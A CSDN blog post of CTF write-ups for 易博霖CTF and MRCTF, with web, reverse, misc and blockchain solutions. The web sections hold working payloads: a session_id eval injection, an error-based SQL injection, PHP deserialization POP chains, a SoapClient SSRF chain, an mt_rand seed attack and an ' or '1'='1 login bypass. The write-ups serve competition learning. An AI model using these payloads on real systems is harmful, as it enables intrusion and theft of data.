ctf 改变图片高度_易博霖CTF+MRCTF

本文详细介绍了多个CTF比赛的解题过程,涉及Web、RE、Misc等多个领域。通过分析代码、利用漏洞、解密密码、文件操作等方式,解出flag。包括图片高度修改、文件包含漏洞、反序列化、PHP弱类型利用、SSRF等技巧,同时讲解了如何通过十六进制编码、爆破、正则表达式、ZIP文件操作等手段解决挑战。
摘要由CSDN通过智能技术生成

易博霖CTF

签到题

14829d30c5067ab605a82b109438cde1.gif a5507230eef47c22880381d1be12e068.png f559cec065fe8cbe434817f574e4d1f3.png

RSABackDoor

14829d30c5067ab605a82b109438cde1.gif

先用脚本跑出p

451166460169bb928ac6a80825f64bb3.png baf92e8a357ed9186cc88aa259a187fd.png

分解后直接求

c0a7e7af69c7f2ed1c13634c096ec000.png a197f698aa5427a8212c0bb89e3a9e57.png f559cec065fe8cbe434817f574e4d1f3.png

Re1

14829d30c5067ab605a82b109438cde1.gif 1785cfc3b4198e35dd8b3f05336b3478.png

转一下就是flag

1b3daf7ee4fc139d67021c4f7aa83149.png f559cec065fe8cbe434817f574e4d1f3.png

RE_Babyangr

14829d30c5067ab605a82b109438cde1.gif

分析主函数,大致意思为输入16个字符,然后经过complex_function函数的处理与password比较

81198e2101ab791e12cb756ee6f6fb15.png

complex_function函数如下

8c69e014614ae793ce790fc46f0e2dda.png

告诉我们字符范围为65到90,直接爆破求出flag

8d5479d2e23954aed77e8b2ec49c7f86.png dc320a96c15254b2705383354627ce93.png f559cec065fe8cbe434817f574e4d1f3.png

Web1

14829d30c5067ab605a82b109438cde1.gif

限制传入的参数只能为 function(function(function()))

这种类型

session_id 用来获取当前会话id,但是会话id的组成仅允许字母数字,这样可以想到用十六进制来进行操作。

所以构造

payload:eval(hex2bin(session_id(session_start())));

脚本:

import requests

url= "http://124.193.74.212:32625/?var=eval(hex2bin(session_id(session_start())));"

payload="var_dump(file_get_contents('/flag.txt'));".encode('hex')

cookies={'PHPSESSID':payload}

f559cec065fe8cbe434817f574e4d1f3.png

Web2

14829d30c5067ab605a82b109438cde1.gif a072165b62290c3d90ab505ae727b77d.png

File 参数后门跟着一串base64编码两次的字符串 对其解码为

ctfimage.jpg

判断存在文件包含漏洞 构造index.php 编码两次传入得到源码

3b0c24f686a11fcdd5ce1f7fc5982b9b.png

提示读取hal0flagi5here.php

03ebdfca40cfa14fcbb489942753f3a1.png

虽然index.php里做了将ctf转成flag的处理,但并没有限制flag字符串,不知道这个判断有什么意义。

根据提示知道是 parse_url的漏洞

直接构造

dict://@happyctf.com/../../../../flag.txt

4fa1315384e35a6444e9b8dced24aff9.png f559cec065fe8cbe434817f574e4d1f3.png

Web3

14829d30c5067ab605a82b109438cde1.gif

有注册登录改密码三个功能

在改密码的时候会进行查询操作

只要在第一步注册用户名时插入” 在改密码时点击提交就会产生报错

注册用户名

yy"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

11cba1b8b793d1497954a1fb814648fa.png

查出了当前数据库的表名

6d36328acc4b5b98ca0a38146b2c6721.png

用脚本跑出flag

7bbfefd493a99feff47a53a76e6d5d5d.png f559cec065fe8cbe434817f574e4d1f3.png

Web4

14829d30c5067ab605a82b109438cde1.gif d9243b98e10a839899da8b9d08ed3f6e.png 49ef54fc78354584a9d7f4252b3c4b0b.png

根据代码修改core.xml

daf5aba8ed57804128933792697127b8.png

然后上传回服务器,返回flag

cb5f4625d3c6745c0dcaff5d90767fe1.png f559cec065fe8cbe434817f574e4d1f3.png

Misc2

14829d30c5067ab605a82b109438cde1.gif

file disk2

disk2: Linux rev 1.0 ext3 filesystem data, 

UUID=f4d4c80b-0724-4c50-89cc-bfb6f962131c (large files)

然后用binwalk 直接提取出来

0.ext      36C00.ext  3E000.ext   40400.ext  44000.ext  level1.zip

33000.ext  38800.ext  400400.zip  42000.ext  ext-root

然后发现 level1.zip里面有着flag.png

但是要密码,所以我strings了下

┌─[yezi@ubuntu] - [~] - [2020-03-27 04:51:47]
└─[0] <> strings disk2
/root/MasterofZip-Hard/Generator/disk02
lost+found
secr3t2.zip
readmee.
.p@ss_wd.swp
p@ss_wd~.swpx
lost+found
secr3t2.zip
readmee.
.p@ss_wd.swp
p@ss_wd~.swpx
/root/MasterofZip-Hard/Generator/disk02
o   9[
lost+found
.readme.swp
readmee.
readme~.swpx
/root/MasterofZip-Hard/Generator/test
lost+found
.readme.swp
readmee.
readme~.swpx
/root/MasterofZip-Hard/Generator/test
lost+found
p@ss_wd.swp
readmee.
readme~.swpx
lost+found
p@ss_wd.swp
readmee.
.p@ss_wd.swp
.p@ss_wd.swpx
/root/MasterofZip-Hard/Generator/test
lost+found
p@ss_wd.swp
readmee.
.p@ss_wd.swp
p@ss_wd~.swpx
/root/MasterofZip-Hard/Generator/test
lost+found
p@ss_wd.swp
readmee.
.p@ss_wd.swp
p@ss_wd~.swpx
/root/MasterofZip-Hard/Generator/test
lost+found
p@ss_wd.swp
readmee.
.p@ss_wd.swp
p@ss_wd~.swpx
/root/MasterofZip-Hard/Generator/test
b0VIM 8.1
root
kali
~root/MasterofZip-Hard/Generator/test/readme
utf-8
U3210
#"!
Q:where is passw0rd?
A:Be Deleted.
don0tgu355p@sswd
Q:where is passw0rd?
b0VIM 8.1
root
kali
~root/MasterofZip-Hard/Generator/test/p@ss_wd
3210
#"!
don0tgu355p@sswd
don0tgu355p@sswd           密码
*vO`

发现密码,然后有张图片。最后改高度 出flag

f559cec065fe8cbe434817f574e4d1f3.png

crc32

14829d30c5067ab605a82b109438cde1.gif

import zipfile
import string
import binascii
def CrackCrc(crc):
    for i in dic:
        for j in dic:
            for p in dic:
                for q in dic:
                    s = i + j + p + q
                    if crc == (binascii.crc32(s.encode())):
                        global flag
                        flag = flag + s
                        return
def CrackZip(i):
    f = zipfile.ZipFile(('0.zip'), 'r')
    GetCrc = f.getinfo('pass'+str(i)+'.txt')
    print 'pass'+str(i)+'.txt'
    crc = GetCrc.CRC
    CrackCrc(crc)
dic = string.printable
flag =''
for i in range(1,4):
    CrackZip(i)
print(flag)

然后 知道密码

└─[1] <> python cr32.py
pass1.txt
pass2.txt
pass3.txt
64p2@sworD20

获得flag
flag{d12f101d06855e2cd686c1ad6ac4de85}

2f20cdc9d8a8f7e1f4938ca770c42106.gif

MRCTF

密码学后面的不会 前面的太简单 就不记录了

web ezpop

14829d30c5067ab605a82b109438cde1.gif

Welcome to index.php<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."
";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这个序列化pop链很简单,当时构造出来怎么都跑不出来,后来发现是因为忘了urlencode一次,导致protected属性没被带进去。。。

脚本

<?php
class Modifier {
    protected  $var;
    public function __construct(){
        $this->var = "php://filter/read=convert.base64-encode/resource=flag.php";
    }
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Show();
$a->source = new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo(urlencode(serialize($a)));

f559cec065fe8cbe434817f574e4d1f3.png

web PYwebsite

14829d30c5067ab605a82b109438cde1.gif ecbccc2630d4e49ba1d8e513f090cb78.png

在前端写了逻辑判断传入的code和这个值是否一样,想着js好像是弱类型,但是构造了半天都不行,后来百度说js是动态类型,并不存在像php的弱类型漏洞。

想着直接跳转到flag.php ,那就访问flag.php看看

6bccf3f6154e5ffc228cddddca6df66a.png

这里肯定是不能直接访问的,那么就想是如何判断是否为授权用户的呢。

刚好前几天在写前端,想到前端跳后端一般是完成逻辑---->赋值session----->后端判断是否有session,但是这里看到前端传入的code并没有跳到任何php文件中进行判断(唯一跳进的php文件还被删除了),是直接由前端判断而后转入flag.php。那么很可能判断的条件是 refer(访问该页面的上一个页面),尝试无果后。

学弟扔了个 xff构造成功。。。

f559cec065fe8cbe434817f574e4d1f3.png

web ezbypass

14829d30c5067ab605a82b109438cde1.gif

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }
        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

第一个条件是md5强判断,三个等于号。不能用数组绕过,所以想到之前强网杯的解法,构造两个相似的文件,碰撞出相同的md5值。

第二个条件就是构造 1234567a就行

f559cec065fe8cbe434817f574e4d1f3.png

web 文件上传

14829d30c5067ab605a82b109438cde1.gif

没什么好说的 传个.htaccess解析jpg就行了

f559cec065fe8cbe434817f574e4d1f3.png

web 套娃

14829d30c5067ab605a82b109438cde1.gif

第一个判断用.就可以绕过,在php中 .会被替换成下划线。

第二个判断加个%0a就可以。

得到一个secrettw.php jsfuck提示传入 Merak参数得到源码

Flag is here~But how to get it? <?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
    highlight_file(__FILE__);
    die();
}
function change($v){
    $v = base64_decode($v);
    $re = '';
    for($i=0;$i         $re .= chr ( ord ($v[$i]) + $i*2 );
    }
    return $re;
}
echo 'Local access only!'."
";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

第一个ip用client-ip就可以过

第二个判断条件 传入的参数会经过一个change函数来替换,写一个逆推出可得到flag的字符串

function decry(){
    $v = 'flag.php';
    $re = '';
    for($i=0;$i         $re .= chr(ord($v[$i]) - $i*2);
    }
    echo($re);
}

然后base64编码一下传过去就行

f559cec065fe8cbe434817f574e4d1f3.png

web audit

14829d30c5067ab605a82b109438cde1.gif

扫描到一个www.zip,其中index.php代码如下

<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }
    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "

".$row["username"]."".$row["flag"]."";
        }
    }
    }
}
// genarate public_key
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }
  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

题目要求我们传入私钥和服务器计算出的私钥相同,就是mt_rand的种子可猜解问题,因为得知计算出的公钥,可以猜解种子。

脚本

str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2 = 'KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res = ''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
            break
print(res)

得到一串php_mt_seed可识别的字符串,用php_mt_seed爆破种子得到1775196155

<?php
mt_srand(1775196155);
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }
function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    echo $private_key;
}
public_key();
private_key();

一定要先跑一次公钥再算私钥,因为服务器先算了公钥再算的私钥,如果只算私钥,mt_rand顺序就会错。然后提交私钥,并且构造password= 1' or '1'='1 得到flag。

f559cec065fe8cbe434817f574e4d1f3.png

web Ezpop_Revenge

14829d30c5067ab605a82b109438cde1.gif

题目可下载www.zip直接得到一整套源码(我透

开局一个flag.php

c8a25bebc58cfa94161b5c569f252c6b.png

意思就是要打个ssrf,然后flag会存到session里,一开始在想是不是先打ssrf再读session文件,后来发现session会在下面这个文件里打印出来

既然题目提示了反序列化,那先找个反序列化触发点 全局搜索 unserialize

在usr/plugins/HelloWorld/Plugin.php 下找到 这里会打印session

19077abd1b28be0e2306a4b219f29c96.png

找到这里应该是出题人设置的反序列化触发点,但是这里不可直接访问,要找一个调用此函数的地方,全局搜索 action(第一遍看没找到

经师傅提示找 HelloWorld_Plugin类 在 var/Typecho/Plugin.php 找到定义了一条路由

4ae7a15c1f29d03d7747264cbe9ea5bd.png

所以我们可以通过 index.php/page_admin来访问action方法。

接下来就是找 destruct wakeup (一开始找的destruct链子不知道为什么一直被waf拦,后面换了一条)

刚好就在action方法的文件里

1e0f62f57131d604ffca5f811d77cd40.png

实例化了一个Typecho_Db 的类 跟进这个类的construct方法(因为参数可控

71974ffe49ce888195a39fc60a9536ba.png

拼接了参数$adapterName,而这个参数我们可控,所以可以触发一个tostring,再全局搜索tostring网上的那条tostring最后触发call_user_funct的链子 我过不了waf。。所以经过师傅提醒换了条链子

379bd6acbab2c5e271b431c0700094a3.png

这里的_sqlPreBuild 和 _adapter属性都可控,那么就可以打出__call方法,想到要打ssrf,就是SoapClient类了。

构造poc

<?php
class Typecho_Db_Query{
    private $_adapter;
    private $_sqlPreBuild;
    public function __construct(){
        $this->_adapter = new SoapClient(null,array('location' => "http://127.0.0.1/flag.php",
                               'user_agent' => "AAA:BBB\r\n" .
                                             "Cookie:PHPSESSID=uiklqref225rf3h3dv01dcnmh3",
                               'uri' => "http://127.0.0.1/"));
        $this->_sqlPreBuild['action']='SELECT';
    }
}
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=array(
            "hello" => new Typecho_Db_Query(),
            "world" => "typecho_"
        );
    }
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));

先将序列化数据传过去,再设置cookie访问page_admin得到flag。(原理就和 bestphp_revenge一样

9427a9c3e9101114429cef4e7f9a8d75.png f559cec065fe8cbe434817f574e4d1f3.png

misc pyflag

14829d30c5067ab605a82b109438cde1.gif

得到的三个图片结尾的部分拼成一个新的zip文件,爆破一下密码1234

得到一串密文 和hint 提示base加密

根据提示 依次进行 base85 hexdecode base32 base16 base64得到flag

f559cec065fe8cbe434817f574e4d1f3.png

misc 千层套路

14829d30c5067ab605a82b109438cde1.gif

前面就是不断根据文件名作为密码解压zip文件,可能是以为用python解压比较慢,跑了蛮久才跑出来

import os
import zipfile
import time
def unzip_file(zip_src,pwd):
    r = zipfile.is_zipfile(zip_src)
    if r:
        zf = zipfile.ZipFile(zip_src)
        zf.extractall(pwd=pwd)
    else:
        print "this is not zip"
        exit(0)
fname = os.listdir('./')
while(fname[0].split('.')[-1] == 'zip'):
    src = str(fname[0])
    pwd = fname[0][:4]
    unzip_file(src,pwd)
    os.remove(src)
    fname = os.listdir('./')

得到了一个qr.txt是rgb值,一共有40000行,可以知道是200*200的图片

from PIL import Image
x = 200
y = 200
im = Image.new("RGB",(x,y))
file = open('qr.txt')
for i in range(0,x):
  for j in range(0,y):
    line = file.readline().replace("","")
    rgb = line.split(", ")
    im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))
im.show()

跑出来就行

f559cec065fe8cbe434817f574e4d1f3.png

misc 寻找xxx

14829d30c5067ab605a82b109438cde1.gif

手机拨号,直接用在线识别工具得到一串手机号,再发送给公众号得flag

f559cec065fe8cbe434817f574e4d1f3.png

misc 不眠之夜

14829d30c5067ab605a82b109438cde1.gif

拼图就行了

f559cec065fe8cbe434817f574e4d1f3.png

misc 你能看懂音符吗

14829d30c5067ab605a82b109438cde1.gif

打开是word文档,打开显示隐藏字符,发现是一串音符,在线解密就行了

f559cec065fe8cbe434817f574e4d1f3.png

misc Unravel!!

14829d30c5067ab605a82b109438cde1.gif

金木那种图片分离出来一个 Tokyo 图片名字是 aes.jpg

另一个wav文件的hex最后是一串base64

所以aes解密 密钥为Tokyo 打开另一个zip文件 还是wav文件

用silenteye解密一下就有flag了

f559cec065fe8cbe434817f574e4d1f3.png

区块链 SimpleReveal

14829d30c5067ab605a82b109438cde1.gif

访问给的链接 可以看到合约的交互记录

再最下面一条有一个交互成功的

9c99a98bb580ba8a9f43738a482c38c2.png

查看一下就行了

我电脑不知道为什么访问不了这个站 用手机才行。。

f559cec065fe8cbe434817f574e4d1f3.png

区块链 Unwanted Coin

14829d30c5067ab605a82b109438cde1.gif

参考这里的 第七题Force

但是不知道为什么我本地复现不了。。Remix的在线编译环境很迷,网络经常故障

f559cec065fe8cbe434817f574e4d1f3.png

RE transform

14829d30c5067ab605a82b109438cde1.gif dbd143c1d8a7b51aaea67b0383881736.png

简单亦或。

041165c299e259ba990313006f105dc3.png f559cec065fe8cbe434817f574e4d1f3.png

RE PixelShooter

14829d30c5067ab605a82b109438cde1.gif a77ebf4d5abd759e6e48fe3ff37ce049.png f559cec065fe8cbe434817f574e4d1f3.png

RE  hello_world_go

14829d30c5067ab605a82b109438cde1.gif 4ef054a1131ff645194890b9d0f91741.png f559cec065fe8cbe434817f574e4d1f3.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值